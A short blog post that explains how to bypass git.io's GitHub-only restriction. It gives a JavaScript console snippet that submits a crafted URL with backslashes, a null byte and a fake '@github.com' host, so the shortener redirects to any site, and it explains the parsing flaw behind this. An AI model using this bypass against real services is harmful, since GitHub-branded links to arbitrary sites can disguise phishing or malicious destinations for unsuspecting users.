How to create a custom git.io shortened URL

Arche Basic
1 min readApr 30, 2021

Git.io is the URL Shortener provided by GitHub, which can only be used to shorten GitHub URLs (gist.github.com and github.com)…or it supposed to be.

With some simple tricks you can create a shortened link with any URL you want.

  • Visit https://git.io/
  • Press F12, navigate to “Console”
  • Enter the following code
var mylink=new FormData();
mylink.append(‘url’,”https://qwq.moe\\tag\\about\\\u0000AnythingHere@github.com")
mylink.append(‘code’,”YourCustompath”)
fetch(‘https://git.io/',{method:"POST",body:mylink}).then(f=>f.text()).then(f=>console.log(f))
  • Replace the url and YourCustomPath, remember to use “\\” to replace “/”
  • Run the code, if it does not return any error, you have succeeded!

Here is how it works.

  • The git.io parser recognizes “github.com” as host and the “qwq.moe\\tag\\about\\\u0000AnythingHere” as HTTP Basic Auth credentials
  • So github.com is a valid github URL
  • Git.io insert “https://qwq.moe\\tag\\about\\\u0000AnythingHere@github.com"- “YourCustomPath” into the database
  • When you visit this page, gitio tries to return this URL as the redirect path
  • But \u0000 in the URL truncated the following characters
  • Now you are being redirected to https://qwq.moe\tag\about\

Enjoy it :)

--

--

Arche Basic

Enthusiast of Front-end, Network Engineering and Cybersecurity.